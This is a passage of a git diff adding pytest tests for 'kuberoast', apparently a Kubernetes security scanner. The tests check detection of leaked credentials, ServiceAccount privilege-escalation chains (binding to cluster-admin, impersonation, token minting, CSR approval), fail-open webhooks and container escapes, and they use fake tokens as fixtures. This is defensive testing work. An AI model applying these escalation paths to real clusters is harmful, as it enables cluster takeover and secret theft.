test_secret_key_ref_not_flagged(): + """env.valueFrom.secretKeyRef has no literal .value β†’ safe, must not flag.""" + vf = object() # value_from present, value is None + c = make_container(env=[make_env("DB_PASSWORD", value=None, value_from=vf)]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_short_value_not_flagged(): + c = make_container(env=[make_env("PASSWORD", value="abc")]) # below 6-char threshold + pod = make_pod(containers=[c]) + assert not [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED"] + + +def test_path_value_not_flagged(): + """A 'SECRET_PATH'-style env pointing at a file path is benign.""" + c = make_container(env=[make_env("TOKEN_PATH", value="/var/run/secrets/token")]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_benign_env_not_flagged(): + c = make_container(env=[make_env("LOG_LEVEL", value="info"), make_env("PORT", value="8080")]) + pod = make_pod(containers=[c]) + assert scan_pod_credentials(pod) == [] + + +def test_github_token_in_args(): + c = make_container(args=["--token", "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ARG-LEAK-GITHUB-PAT") + assert f.severity == "high" + assert "/proc" in (f.impact or "").lower() or "command line" in (f.impact or "").lower() + + +def test_url_with_creds_in_command(): + """High-signal: an http(s) URL with embedded credentials on the command line.""" + c = make_container(command=["/app", "--webhook", "https://admin:hunter2secret@hooks.example.com/x"]) + pod = make_pod(containers=[c]) + ids = {f.id for f in scan_pod_credentials(pod)} + assert "ARG-LEAK-GENERIC-URL" in ids + + +def test_redaction_in_env_finding(): + c = make_container(env=[make_env("GH", value="ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-GITHUB-PAT") + assert "…" in f.description # redacted, not the full token + + +def test_one_finding_per_env_entry(): + c = make_container(env=[make_env("K", value="AKIAIOSFODNN7EXAMPLE")]) + pod = make_pod(containers=[c]) + aws = [f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID"] + assert len(aws) == 1 diff --git a/tests/test_reporting.py b/tests/test_reporting.py index 52c23ad..82f291f 100644 --- a/tests/test_reporting.py +++ b/tests/test_reporting.py @@ -30,7 +30,7 @@ def test_text_output_grouped_by_severity(): def test_text_output_summary(): output = text_report.emit(_sample_findings()) assert "3 findings" in output - assert "1 critical" in output + assert "CRITICAL 1" in output def test_text_empty_findings(): diff --git a/tests/test_sa_chains.py b/tests/test_sa_chains.py new file mode 100644 index 0000000..0a869b2 --- /dev/null +++ b/tests/test_sa_chains.py @@ -0,0 +1,149 @@ +"""Tests for multi-hop ServiceAccount escalation chains.""" +from kuberoast.attackpaths.sa_chains import analyze_sa_chains +from tests.conftest import ( + make_role, make_cluster_role, make_rule, make_binding, make_cluster_binding, + make_subject, make_pod, +) + + +def test_direct_bind_to_clusteradmin_is_one_hop(): + """SA with create rolebindings can bind self to cluster-admin in 1 hop.""" + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb = make_cluster_binding(name="binder-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="attacker", namespace="dev")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [f for f in findings if f.id == "AP-CHAIN"] + target = next(c for c in chains if "sa:dev:attacker" in c.resource) + assert target.severity == "critical" + assert target.exploitability == "trivial" + assert "clusterrolebinding" in (target.exploit or "").lower() + + +def test_two_hop_chain_via_create_pod_then_bind(): + """SA-A can create pods β†’ run as SA-B β†’ SA-B can bind cluster-admin.""" + # SA-B has the privileged binding capability + crole_binder = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + sa_b_grant = make_cluster_binding(name="sa-b-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")]) + + # SA-A can create pods in prod + role_pod_creator = make_role(name="pod-creator", namespace="prod", rules=[ + make_rule(verbs=["create"], resources=["pods"]), + ]) + sa_a_grant = make_binding(name="sa-a-grant", namespace="prod", role_kind="Role", role_name="pod-creator", + subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")]) + + # SA-B has a pod we can exec into (provides edge endpoint via create pods, not exec) + pod_b = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b") + + findings = analyze_sa_chains([role_pod_creator], [crole_binder], [sa_a_grant], [sa_b_grant], pods=[pod_b]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource] + assert chains, "Expected chain starting from sa:prod:sa-a" + chain = chains[0] + assert chain.severity == "critical" # 2 hops still critical + + +def test_impersonate_is_one_hop_to_admin(): + """impersonate users β†’ can act as system:admin directly.""" + crole = make_cluster_role(name="imp", rules=[ + make_rule(verbs=["impersonate"], resources=["users"]), + ]) + crb = make_cluster_binding(name="imp-grant", role_kind="ClusterRole", role_name="imp", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN"] + target = next(c for c in chains if "sa:x:att" in c.resource) + assert target.exploitability == "trivial" + + +def test_token_request_is_one_hop_to_any_sa(): + """create serviceaccounts/token β†’ mint token for any SA.""" + crole = make_cluster_role(name="token-minter", rules=[ + make_rule(verbs=["create"], resources=["serviceaccounts/token"]), + ]) + crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="token-minter", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")]) + + # Add an admin SA to mint a token for + admin_role = make_cluster_role(name="admin", rules=[ + make_rule(verbs=["*"], resources=["*"]), + ]) + admin_grant = make_cluster_binding(name="admin-grant", role_kind="ClusterRole", role_name="admin", + subjects=[make_subject(kind="ServiceAccount", name="god", namespace="y")]) + + findings = analyze_sa_chains([], [crole, admin_role], [], [crb, admin_grant], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:x:att" in c.resource] + assert chains, "Expected chain via TokenRequest" + # Should be 1 hop: att β†’ mint token for god (terminal) + assert chains[0].severity == "critical" + + +def test_chain_skips_kube_system_starts(): + """We don't want to flag kube-system SAs as 'escalation starts' β€” they're already privileged.""" + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="kube-controller-manager", namespace="kube-system")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN"] + starts = {c.resource for c in chains} + assert "sa:kube-system:kube-controller-manager" not in starts + + +def test_no_chain_for_isolated_sa(): + """SA bound only to a read-only role should NOT produce a chain finding.""" + role = make_role(name="reader", namespace="ns", rules=[ + make_rule(verbs=["get", "list"], resources=["pods"]), + ]) + rb = make_binding(name="r", namespace="ns", role_kind="Role", role_name="reader", + subjects=[make_subject(kind="ServiceAccount", name="boring", namespace="ns")]) + findings = analyze_sa_chains([role], [], [rb], [], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:ns:boring" in c.resource] + assert chains == [] + + +def test_get_all_secrets_is_terminal(): + """A principal that can get+list secrets cluster-wide is terminal (effective admin).""" + crole = make_cluster_role(name="secret-reader", rules=[ + make_rule(verbs=["get", "list"], resources=["secrets"]), + ]) + crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="secret-reader", + subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="x")]) + # Now another SA chains into it via TokenRequest + crole_mint = make_cluster_role(name="minter", rules=[ + make_rule(verbs=["create"], resources=["serviceaccounts/token"]), + ]) + crb_mint = make_cluster_binding(name="m", role_kind="ClusterRole", role_name="minter", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="y")]) + findings = analyze_sa_chains([], [crole, crole_mint], [], [crb, crb_mint], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:y:att" in c.resource] + assert chains, "Expected chain into get-all-secrets terminal" + + +def test_exec_chain_uses_existing_pod(): + """Can-exec on a pod running SA-B should reach SA-B.""" + # SA-B has a privileged role + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb_b = make_cluster_binding(name="b-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")]) + + # SA-A can exec into pods + role_exec = make_role(name="execer", namespace="prod", rules=[ + make_rule(verbs=["create"], resources=["pods/exec"]), + ]) + rb_a = make_binding(name="a-grant", namespace="prod", role_kind="Role", role_name="execer", + subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")]) + + pod = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b") + findings = analyze_sa_chains([role_exec], [crole], [rb_a], [crb_b], pods=[pod]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource] + assert chains + # exec PoC should reference the actual pod + assert "b-pod" in (chains[0].description or "") diff --git a/tests/test_tier_zero.py b/tests/test_tier_zero.py new file mode 100644 index 0000000..ab72ff9 --- /dev/null +++ b/tests/test_tier_zero.py @@ -0,0 +1,109 @@ +"""Tests for tier-0 / crown-jewel identification.""" +from kuberoast.attackpaths.tier_zero import analyze_tier_zero +from tests.conftest import ( + make_cluster_role, make_role, make_rule, make_binding, make_cluster_binding, + make_subject, +) + + +def _grant(verbs, resources, sa_name="att", sa_ns="dev"): + """Helper: ClusterRole with the given rule bound to an SA. Returns (roles, croles, rbs, crbs).""" + cr = make_cluster_role(name="r", rules=[make_rule(verbs=verbs, resources=resources)]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name=sa_name, namespace=sa_ns)]) + return [], [cr], [], [crb] + + +def test_csr_mint_is_tier0(): + cr = make_cluster_role(name="csr", rules=[ + make_rule(verbs=["create"], resources=["certificatesigningrequests"]), + make_rule(verbs=["update"], resources=["certificatesigningrequests/approval"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="csr", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert f.severity == "critical" + assert "system:masters" in (f.exploit or "") + assert "T1649" in f.attack_techniques or "T1098.001" in f.attack_techniques + + +def test_csr_create_without_approve_not_tier0(): + """create CSR alone is not enough β€” need approval too.""" + roles, croles, rbs, crbs = _grant(["create"], ["certificatesigningrequests"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + # may still be flagged for nothing else; ensure CSR primitive specifically absent + tier0 = [f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource] + assert tier0 == [] + + +def test_nodes_proxy_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["nodes/proxy"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "nodes/proxy" in f.description + + +def test_exec_anywhere_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["pods/exec"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "exec into any pod" in f.description + + +def test_read_all_secrets_is_tier0(): + cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "read every Secret" in f.description + + +def test_token_mint_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["serviceaccounts/token"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings) + + +def test_webhook_write_is_tier0(): + roles, croles, rbs, crbs = _grant(["create"], ["mutatingwebhookconfigurations"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "admission webhooks" in f.description + + +def test_impersonate_is_tier0(): + roles, croles, rbs, crbs = _grant(["impersonate"], ["users"]) + findings = analyze_tier_zero(roles, croles, rbs, crbs) + assert any(f.id == "AP-TIER0" and "sa:dev:att" in f.resource for f in findings) + + +def test_kube_system_sa_not_reported(): + """kube-system control-plane SAs are expected to be powerful β€” don't report them as hidden admins.""" + cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s", + subjects=[make_subject(kind="ServiceAccount", name="generic-garbage-collector", namespace="kube-system")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + assert not [f for f in findings if "kube-system" in f.resource] + + +def test_boring_reader_not_tier0(): + cr = make_cluster_role(name="r", rules=[make_rule(verbs=["get"], resources=["pods"])]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + assert findings == [] + + +def test_multiple_primitives_listed_in_one_finding(): + cr = make_cluster_role(name="r", rules=[ + make_rule(verbs=["get", "list"], resources=["secrets"]), + make_rule(verbs=["create"], resources=["pods/exec"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")]) + findings = analyze_tier_zero([], [cr], [], [crb]) + f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource) + assert "read every Secret" in f.description + assert "exec into any pod" in f.description diff --git a/tests/test_tokens.py b/tests/test_tokens.py new file mode 100644 index 0000000..e9148d1 --- /dev/null +++ b/tests/test_tokens.py @@ -0,0 +1,99 @@ +"""Tests for ServiceAccount token analysis (JWT decode).""" +import base64 +import json + +from kuberoast.scanners.tokens import scan_tokens +from tests.conftest import make_secret + + +def _make_jwt(payload: dict) -> str: + """Build an unsigned JWT (header.payload.sig) for testing payload decoding only.""" + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + body = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=").decode() + sig = base64.urlsafe_b64encode(b"sig").rstrip(b"=").decode() + return f"{header}.{body}.{sig}" + + +def _sa_secret(name, ns, token_payload): + token = _make_jwt(token_payload) + return make_secret( + name=name, namespace=ns, + secret_type="kubernetes.io/service-account-token", + data={"token": base64.b64encode(token.encode()).decode()}, + ) + + +def test_legacy_non_expiring_token_high(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "default", + "kubernetes.io/serviceaccount/service-account.name": "my-sa", + # NO exp claim β€” legacy token + } + s = _sa_secret("my-sa-token", "default", payload) + findings = scan_tokens([s]) + legacy = next(f for f in findings if f.id == "TOKEN-LEGACY-NONEXPIRING") + assert legacy.severity == "high" + assert legacy.exploitability == "trivial" + assert "my-sa" in legacy.description + + +def test_expiring_token_medium(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "exp": 9999999999, + "aud": "https://kubernetes.default.svc.cluster.local", + } + s = _sa_secret("sa-token", "ns", payload) + findings = scan_tokens([s]) + f = next(f for f in findings if f.id == "TOKEN-EXPIRING") + assert f.severity == "medium" + + +def test_non_default_audience_flagged(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "aud": "sts.amazonaws.com", # IRSA audience + } + s = _sa_secret("irsa-token", "ns", payload) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-AUDIENCE" in ids + + +def test_default_audience_not_flagged_as_irsa(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "aud": "https://kubernetes.default.svc.cluster.local", + "exp": 9999999999, + } + s = _sa_secret("default-aud-token", "ns", payload) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-AUDIENCE" not in ids + + +def test_unparseable_token_emits_opaque_finding(): + s = make_secret( + name="weird", namespace="default", + secret_type="kubernetes.io/service-account-token", + data={"token": base64.b64encode(b"not-a-jwt").decode()}, + ) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-OPAQUE" in ids + + +def test_non_sa_secret_ignored(): + s = make_secret(name="opaque", namespace="default", + secret_type="Opaque", data={"foo": "Ymxh"}) + assert scan_tokens([s]) == [] + + +def test_missing_token_key_skipped(): + s = make_secret(name="weird", namespace="default", + secret_type="kubernetes.io/service-account-token", data={}) + assert scan_tokens([s]) == [] diff --git a/tests/test_webhooks.py b/tests/test_webhooks.py new file mode 100644 index 0000000..5446dc9 --- /dev/null +++ b/tests/test_webhooks.py @@ -0,0 +1,68 @@ +"""Tests for admission webhook bypass audit.""" +from kuberoast.scanners.webhooks import scan_webhooks +from tests.conftest import make_webhook, make_webhook_config + + +def test_fail_open_webhook_high(): + wh = make_webhook(name="policy.example.com", failure_policy="Ignore") + vw = make_webhook_config(name="vw-policy", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-FAIL-OPEN") + assert f.severity == "high" + assert f.exploitability == "moderate" + + +def test_fail_closed_webhook_not_flagged_as_open(): + wh = make_webhook(name="policy.example.com", failure_policy="Fail") + vw = make_webhook_config(name="vw-good", webhooks=[wh]) + ids = {f.id for f in scan_webhooks([vw], [])} + assert "WEBHOOK-FAIL-OPEN" not in ids + + +def test_long_timeout_flagged(): + wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=30) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT") + assert f.severity == "low" + + +def test_long_timeout_plus_fail_open_is_medium(): + wh = make_webhook(name="x", failure_policy="Ignore", timeout_seconds=30) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT") + assert f.severity == "medium" + + +def test_side_effects_unknown_flagged(): + wh = make_webhook(name="x", side_effects="Unknown") + vw = make_webhook_config(name="vw", webhooks=[wh]) + ids = {f.id for f in scan_webhooks([vw], [])} + assert "WEBHOOK-SIDE-EFFECTS" in ids + + +def test_missing_ca_bundle_flagged(): + wh = make_webhook(name="x", ca_bundle=None) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-NO-CA") + assert f.severity == "medium" + + +def test_mutating_webhook_audited_too(): + wh = make_webhook(name="mutate.example.com", failure_policy="Ignore") + mw = make_webhook_config(name="mw-1", webhooks=[wh]) + f = next(f for f in scan_webhooks([], [mw]) if f.id == "WEBHOOK-FAIL-OPEN") + assert "MutatingWebhookConfiguration" in f.title + + +def test_multiple_webhooks_in_one_config(): + wh1 = make_webhook(name="a", failure_policy="Ignore") + wh2 = make_webhook(name="b", failure_policy="Ignore") + vw = make_webhook_config(name="vw", webhooks=[wh1, wh2]) + findings = scan_webhooks([vw], []) + assert len([f for f in findings if f.id == "WEBHOOK-FAIL-OPEN"]) == 2 + + +def test_clean_webhook_no_findings(): + wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=3, + side_effects="None", ca_bundle="abc") + vw = make_webhook_config(name="vw", webhooks=[wh]) + assert scan_webhooks([vw], []) == [] diff --git a/tests/test_workloads.py b/tests/test_workloads.py new file mode 100644 index 0000000..b0eac87 --- /dev/null +++ b/tests/test_workloads.py @@ -0,0 +1,127 @@ +"""Tests for workload pod-template extraction and resource relabeling.""" +from types import SimpleNamespace + +from kuberoast.scanners.escapes import scan_escapes +from kuberoast.scanners.pods import scan_pod_security +from kuberoast.utils.workloads import ( + synthesize_pod_from_workload, relabel_workload_findings, iter_workload_pods, + amplify_daemonset_findings, +) +from kuberoast.utils.findings import Finding +from tests.conftest import ( + make_pod, make_container, make_host_path_volume, + make_deployment, make_cronjob, +) + + +def test_synthesize_from_deployment_preserves_namespace_and_name(): + template = make_pod(name="ignored", namespace="prod", + containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="my-app", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + assert pod.metadata.name == "my-app" + assert pod.metadata.namespace == "prod" + assert pod.spec.containers[0].security_context.privileged is True + + +def test_synthesize_from_cronjob_walks_job_template(): + template = make_pod(name="ignored", namespace="batch", + containers=[make_container(caps_add=["SYS_ADMIN"])]).spec + cj = make_cronjob(name="nightly", namespace="batch", template_spec=template) + pod = synthesize_pod_from_workload(cj, "CronJob") + assert pod is not None + assert pod.metadata.name == "nightly" + assert pod.metadata.namespace == "batch" + assert "SYS_ADMIN" in pod.spec.containers[0].security_context.capabilities.add + + +def test_synthesize_missing_template_returns_none(): + deploy = SimpleNamespace( + metadata=SimpleNamespace(name="empty", namespace="x", annotations={}, labels={}), + spec=SimpleNamespace(template=None), + ) + assert synthesize_pod_from_workload(deploy, "Deployment") is None + + +def test_synthesize_merges_template_annotations(): + """AppArmor annotations live on the pod template, not the workload β€” must be preserved.""" + template = make_pod(name="ignored", namespace="prod", + annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"}).spec + deploy = make_deployment( + name="my-app", namespace="prod", template_spec=template, + template_annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"}, + ) + pod = synthesize_pod_from_workload(deploy, "Deployment") + assert "container.apparmor.security.beta.kubernetes.io/app" in pod.metadata.annotations + + +def test_relabel_rewrites_resource_prefix(): + template = make_pod(name="ignored", namespace="prod", + containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="my-app", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_escapes(pod) + assert any(f.resource and f.resource.startswith("pod/my-app") for f in findings) + relabeled = relabel_workload_findings(findings, "Deployment", "my-app") + assert any(f.resource and f.resource.startswith("deployment/my-app") for f in relabeled) + # No leftover pod/ prefixes for this workload's findings + assert not any(f.resource and f.resource.startswith("pod/my-app") for f in relabeled) + + +def test_relabel_preserves_other_resource_strings(): + """Findings for unrelated pods should not be rewritten.""" + template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="A", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_escapes(pod) + # Add a fake finding for an unrelated pod + from kuberoast.utils.findings import Finding + findings.append(Finding(id="OTHER", title="x", description="x", resource="pod/other-pod::c")) + relabeled = relabel_workload_findings(findings, "Deployment", "A") + other = next(f for f in relabeled if f.id == "OTHER") + assert other.resource == "pod/other-pod::c" + + +def test_iter_workload_pods_yields_synthesized_pods(): + template = make_pod(name="ignored", namespace="prod").spec + deploys = [ + make_deployment(name="a", namespace="prod", template_spec=template), + make_deployment(name="b", namespace="prod", template_spec=template), + ] + out = list(iter_workload_pods(deploys, "Deployment")) + assert [name for _, _, name in out] == ["a", "b"] + + +def test_deployment_template_run_through_pod_scanner(): + """End-to-end: a Deployment with a privileged template should produce a POD-PRIV finding under a deployment/ resource.""" + template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="bad-deploy", namespace="ns1", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + findings = scan_pod_security(pod) + relabeled = relabel_workload_findings(findings, "Deployment", "bad-deploy") + priv = next(f for f in relabeled if f.id == "POD-PRIV") + assert priv.resource.startswith("deployment/bad-deploy") + + +# ---------- DaemonSet escape amplification ---------- + +def test_daemonset_amplifies_escape_impact(): + findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical", + category="Escape", impact="Root on the node.")] + out = amplify_daemonset_findings(findings, "DaemonSet") + assert out[0].impact.startswith("[DaemonSet") + assert "every node" in out[0].impact.lower() + + +def test_daemonset_amplification_skips_non_daemonset(): + findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical", + category="Escape", impact="Root on the node.")] + out = amplify_daemonset_findings(findings, "Deployment") + assert not out[0].impact.startswith("[DaemonSet") + + +def test_daemonset_amplification_only_touches_escape_and_attackpath(): + findings = [Finding(id="POD-PE", title="x", description="x", severity="medium", + category="Pod Security", impact="meh")] + out = amplify_daemonset_findings(findings, "DaemonSet") + assert out[0].impact == "meh" # untouched (not Escape/AttackPath, not high/critical)